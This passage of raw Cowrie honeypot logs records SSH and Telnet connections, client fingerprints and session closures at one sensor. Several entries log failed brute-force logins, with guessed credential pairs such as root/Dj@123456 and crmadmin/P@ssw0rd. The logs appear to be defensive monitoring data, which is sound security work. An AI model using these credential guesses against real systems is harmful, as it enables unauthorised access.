2"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:04.751368Z","src_ip":"165.22.63.98","session":"eb3e5079bcb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dj@123456","message":"login attempt [root/Dj@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:05.937233Z","src_ip":"165.22.63.98","session":"eb3e5079bcb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":46368,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc1e083de12a","protocol":"telnet","message":"New connection: 66.111.11.103:46368 (159.203.135.109:23) [session: bc1e083de12a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:05.971916Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:07.182683Z","src_ip":"165.22.63.98","session":"eb3e5079bcb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.13210368156433,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:08.206197Z","src_ip":"66.111.11.103","session":"b89e39557505","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.081724405288696,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:08.946175Z","src_ip":"170.79.82.111","session":"88fe574678e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":49126,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bf80eda0e44","protocol":"telnet","message":"New connection: 66.111.11.103:49126 (159.203.135.109:23) [session: 7bf80eda0e44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:09.047082Z"}
{"eventid":"cowrie.session.closed","duration":53.767033100128174,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:11.114755Z","src_ip":"134.209.8.29","session":"53579147de12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":50562,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ee98cedaa0a","protocol":"telnet","message":"New connection: 66.111.11.103:50562 (159.203.135.109:23) [session: 3ee98cedaa0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:11.413079Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":50746,"dst_ip":"159.203.135.109","dst_port":23,"session":"caed03504727","protocol":"telnet","message":"New connection: 66.111.11.103:50746 (159.203.135.109:23) [session: caed03504727]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:11.694613Z"}
{"eventid":"cowrie.session.closed","duration":31.15523386001587,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:15.002560Z","src_ip":"66.111.11.103","session":"a0c69a86defe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.989094495773315,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:19.313053Z","src_ip":"66.111.11.103","session":"bf4f62e2f977","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.83040165901184,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:20.043837Z","src_ip":"134.209.8.29","session":"7fdcf183664e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.783868074417114,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:22.183487Z","src_ip":"66.111.11.103","session":"978750f67d73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":58788,"dst_ip":"159.203.135.109","dst_port":23,"session":"0683765d71d9","protocol":"telnet","message":"New connection: 66.111.11.103:58788 (159.203.135.109:23) [session: 0683765d71d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:23.047341Z"}
{"eventid":"cowrie.session.closed","duration":31.462228059768677,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:23.052802Z","src_ip":"66.111.11.103","session":"77fd0a62543f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":59778,"dst_ip":"159.203.135.109","dst_port":23,"session":"183d3215ccd1","protocol":"telnet","message":"New connection: 66.111.11.103:59778 (159.203.135.109:23) [session: 183d3215ccd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:24.468542Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":60676,"dst_ip":"159.203.135.109","dst_port":23,"session":"a12a2ce52e66","protocol":"telnet","message":"New connection: 66.111.11.103:60676 (159.203.135.109:23) [session: a12a2ce52e66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:26.989420Z"}
{"eventid":"cowrie.session.closed","duration":30.69209051132202,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:27.331067Z","src_ip":"66.111.11.103","session":"6a8598b9231b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":40932,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cc4179c3f4c","protocol":"telnet","message":"New connection: 134.209.8.29:40932 (159.203.135.109:23) [session: 0cc4179c3f4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:29.277126Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":35376,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5d199fc378e","protocol":"telnet","message":"New connection: 66.111.11.103:35376 (159.203.135.109:23) [session: d5d199fc378e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:30.378528Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":44300,"dst_ip":"10.17.0.5","dst_port":22,"session":"e314dcaea451","protocol":"ssh","message":"New connection: 148.216.28.11:44300 (10.17.0.5:22) [session: e314dcaea451]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:32.275984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:32.280860Z","src_ip":"148.216.28.11","session":"e314dcaea451","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:32.347801Z","src_ip":"148.216.28.11","session":"e314dcaea451","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"654321","message":"login attempt [dev/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:32.645884Z","src_ip":"148.216.28.11","session":"e314dcaea451","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:33.716326Z","src_ip":"148.216.28.11","session":"e314dcaea451","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.195138216018677,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:34.365040Z","src_ip":"66.111.11.103","session":"891a094a57af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79300332069397,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:36.764800Z","src_ip":"66.111.11.103","session":"bc1e083de12a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":34262,"dst_ip":"159.203.135.109","dst_port":23,"session":"a091a9da60a3","protocol":"telnet","message":"New connection: 134.209.8.29:34262 (159.203.135.109:23) [session: a091a9da60a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:37.777131Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":40500,"dst_ip":"159.203.135.109","dst_port":23,"session":"29fa67955b99","protocol":"telnet","message":"New connection: 66.111.11.103:40500 (159.203.135.109:23) [session: 29fa67955b99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:38.004542Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":40506,"dst_ip":"159.203.135.109","dst_port":23,"session":"05ad473ceb7c","protocol":"telnet","message":"New connection: 66.111.11.103:40506 (159.203.135.109:23) [session: 05ad473ceb7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:38.019509Z"}
{"eventid":"cowrie.session.closed","duration":30.14430546760559,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:39.191126Z","src_ip":"66.111.11.103","session":"7bf80eda0e44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.42726159095764,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:42.121742Z","src_ip":"66.111.11.103","session":"caed03504727","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.159024715423584,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:42.572021Z","src_ip":"66.111.11.103","session":"3ee98cedaa0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.135.200.178","src_port":37760,"dst_ip":"10.17.0.5","dst_port":22,"session":"8468365a5950","protocol":"ssh","message":"New connection: 34.135.200.178:37760 (10.17.0.5:22) [session: 8468365a5950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:43.644906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:43.650305Z","src_ip":"34.135.200.178","session":"8468365a5950","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:43.685679Z","src_ip":"34.135.200.178","session":"8468365a5950","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crmadmin","password":"P@ssw0rd","message":"login attempt [crmadmin/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:43.859480Z","src_ip":"34.135.200.178","session":"8468365a5950","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:44.898745Z","src_ip":"34.135.200.178","session":"8468365a5950","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.231.135","src_port":42920,"dst_ip":"10.17.0.5","dst_port":22,"session":"212a6409063c","protocol":"ssh","message":"New connection: 147.50.231.135:42920 (10.17.0.5:22) [session: 212a6409063c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:49.424494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:49.429628Z","src_ip":"147.50.231.135","session":"212a6409063c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:49.702303Z","src_ip":"147.50.231.135","session":"212a6409063c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":46376,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e8d20101ecc","protocol":"telnet","message":"New connection: 66.111.11.103:46376 (159.203.135.109:23) [session: 7e8d20101ecc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:50.454718Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123QWEqwe","message":"login attempt [ubuntu/123QWEqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:50.801658Z","src_ip":"147.50.231.135","session":"212a6409063c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.233.64.34","src_port":43920,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f1d466a9c7e","protocol":"telnet","message":"New connection: 194.233.64.34:43920 (159.203.135.109:23) [session: 7f1d466a9c7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:51.979133Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:52.068663Z","src_ip":"147.50.231.135","session":"212a6409063c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":49362,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bb652382970","protocol":"telnet","message":"New connection: 66.111.11.103:49362 (159.203.135.109:23) [session: 9bb652382970]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:52.933220Z"}
{"eventid":"cowrie.session.closed","duration":23.822502851486206,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:53.099496Z","src_ip":"134.209.8.29","session":"0cc4179c3f4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.22251009941101,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:53.269728Z","src_ip":"66.111.11.103","session":"0683765d71d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75896978378296,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:55.227393Z","src_ip":"66.111.11.103","session":"183d3215ccd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":51176,"dst_ip":"159.203.135.109","dst_port":23,"session":"108757b4847a","protocol":"telnet","message":"New connection: 66.111.11.103:51176 (159.203.135.109:23) [session: 108757b4847a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:56.842848Z"}
{"eventid":"cowrie.session.closed","duration":30.533855438232422,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:57.523176Z","src_ip":"66.111.11.103","session":"a12a2ce52e66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":52778,"dst_ip":"159.203.135.109","dst_port":23,"session":"41eaf6709aa4","protocol":"telnet","message":"New connection: 66.111.11.103:52778 (159.203.135.109:23) [session: 41eaf6709aa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:58.363535Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.111.11.103","src_port":52344,"dst_ip":"159.203.135.109","dst_port":23,"session":"1930c5f9180f","protocol":"telnet","message":"New connection: 66.111.11.103:52344 (159.203.135.109:23) [session: 1930c5f9180f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:58.630925Z"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":33770,"dst_ip":"10.17.0.5","dst_port":22,"session":"27954e617535","protocol":"ssh","message":"New connection: 150.95.157.171:33770 (10.17.0.5:22) [session: 27954e617535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:59.316619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:59.321238Z","src_ip":"150.95.157.171","session":"27954e617535","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":39378,"dst_ip":"159.203.135.109","dst_port":23,"session":"99b90e8b6f33","protocol":"telnet","message":"New connection: 134.209.8.29:39378 (159.203.135.109:23) [session: 99b90e8b6f33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:59.360015Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:15:59.483158Z","src_ip":"150.95.157.171","session":"27954e617535","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"q1w2e3r4t5","message":"login attempt [ubuntu/q1w2e3r4t5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:00.141940Z","src_ip":"150.95.157.171","session":"27954e617535","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:01.317667Z","src_ip":"150.95.157.171","session":"27954e617535","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.34653067588806,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:01.724933Z","src_ip":"66.111.11.103","session":"d5d199fc378e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.63.98","src_port":48664,"dst_ip":"159.203.135.109","dst_port":22,"session":"11761f5540bc","protocol":"ssh","message":"New connection: 165.22.63.98:48664 (159.203.135.109:22) [session: 11761f5540bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:03.419551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:16:03.430817Z","src_ip":"165.22.63.98","session":"11761f5540bc","protocol":"ssh"}
